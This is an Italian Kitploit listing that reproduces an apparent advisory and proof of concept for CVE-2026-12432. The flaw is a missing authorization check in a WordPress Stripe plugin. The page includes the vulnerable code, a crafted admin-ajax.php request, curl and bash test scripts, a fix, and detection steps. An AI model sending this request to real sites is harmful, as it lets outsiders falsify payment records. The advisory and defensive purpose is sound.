Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingConfigurazione Errata
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Autorizzazione mancante

Vedi Repository
152 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-12432: WP Full Stripe Free <= 8.4.3 - Missing Authorization

Panoramica

  • CVE ID: CVE-2026-12432
  • CVSS Score: 5.3 (Media)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Componenti interessati: Stripe Payment Forms by WP Full Pay <= 8.4.3
  • Versione corretta: >= 8.4.4
  • Pubblicazione: 26 giugno 2026
  • Ultimo aggiornamento: 27 giugno 2026
  • Ricercatore: Netwurm - VTDR e.V.i.G.

Descrizione della vulnerabilità

Il plugin WP Full Stripe Free per WordPress è vulnerabile a Missing Authorization nelle versioni fino alla 8.4.3 inclusa, tramite l'azione AJAX wpfs_update_failed_payment_status.

Causa principale

L'endpoint AJAX vulnerabile è registrato sia tramite gli hook wp_ajax_ che wp_ajax_nopriv_:

root@kitploit:~
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

La funzione update_failed_payment_status() (righe 3835-3865) esegue:

  • ❌ Nessun controllo dei permessi (no current_user_can())
  • ❌ Nessuna verifica del nonce (no wp_verify_nonce())
  • ❌ Nessun controllo di autenticazione (no is_user_logged_in())

Codice vulnerabile

root@kitploit:~
// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... no auth check before processing ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // Attacker can overwrite with controlled values
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

Vettore di attacco

Prerequisiti

  • L'ID del Payment Intent deve essere noto (esposto nel browser durante il normale checkout Stripe)
  • Nessuna autenticazione richiesta

Passaggi dell'attacco

  1. Identifica il bersaglio: Trova un sito WordPress con WP Full Stripe Free <= 8.4.3 installato
  2. Ottieni l'ID del Payment Intent: Estrailo dal flusso di checkout Stripe.js o da transazioni precedenti
  3. Invia la richiesta dannosa: Prepara una richiesta POST a admin-ajax.php con parametri controllati dall'attaccante

Richiesta HTTP

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

Valutazione dell'impatto

Area di impattoGravitàDescrizione
IntegritàMediaGli attaccanti possono contrassegnare come falliti pagamenti riusciti
RiservatezzaNessunaNessuna esposizione di dati
DisponibilitàBassaPotrebbe interrompere le operazioni aziendali

Impatti specifici

  1. Manipolazione dei registri di pagamento: L'attaccante può modificare lo stato del pagamento da "pagato" a "fallito"
  2. Codici di errore falsi: L'attaccante può iniettare codici/messaggi di errore arbitrari
  3. Ingegneria sociale: Potrebbe essere utilizzato per frodare i clienti o contestare addebiti legittimi
  4. Corruzione delle tracce di audit: I registri aziendali possono essere falsificati

Proof of Concept (curl)

Rilevamento di base

root@kitploit:~
# Test if endpoint is accessible without authentication
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Expected response (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# The key indicator is that the endpoint responds WITHOUT requiring authentication

Script PoC completo

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# Check if vulnerable
echo "[*] Testing CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accessible without auth"
else
    echo "[-] Not vulnerable or error"
fi

Rimedio

Correzione immediata

Aggiungi un controllo di autorizzazione a wpfs-customer.php alla riga 3835:

root@kitploit:~
function update_failed_payment_status() {
    // ADD THIS CHECK
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... rest of function
}

Correzione consigliata (dal fornitore)

Aggiorna a WP Full Stripe Free >= 8.4.4

root@kitploit:~
# Via WordPress Admin
Dashboard > Plugins > WP Full Stripe > Update

# Via WP-CLI
wp plugin update wp-full-stripe-free

# Via SSH
wp plugin update wp-full-stripe-free --version=8.4.4

Rilevamento

Verifica manuale

  1. Controlla la versione del plugin nel pannello di amministrazione di WordPress
  2. Esamina wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php
  3. Cerca l'assenza di current_user_can() prima degli handler AJAX

Rilevamento automatico

root@kitploit:~
# Check if vulnerable version is installed
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Test AJAX endpoint
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"

Riferimenti

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • W.P.E.F Telegram chanel #1
  • W.P.E.F Telegram chanel #2 --

Cronologia

  • 26 giugno 2026: Vulnerabilità divulgata pubblicamente
  • 27 giugno 2026: CVE-2026-12432 pubblicato
  • Patch: Aggiorna a >= 8.4.4
Scarica lo strumento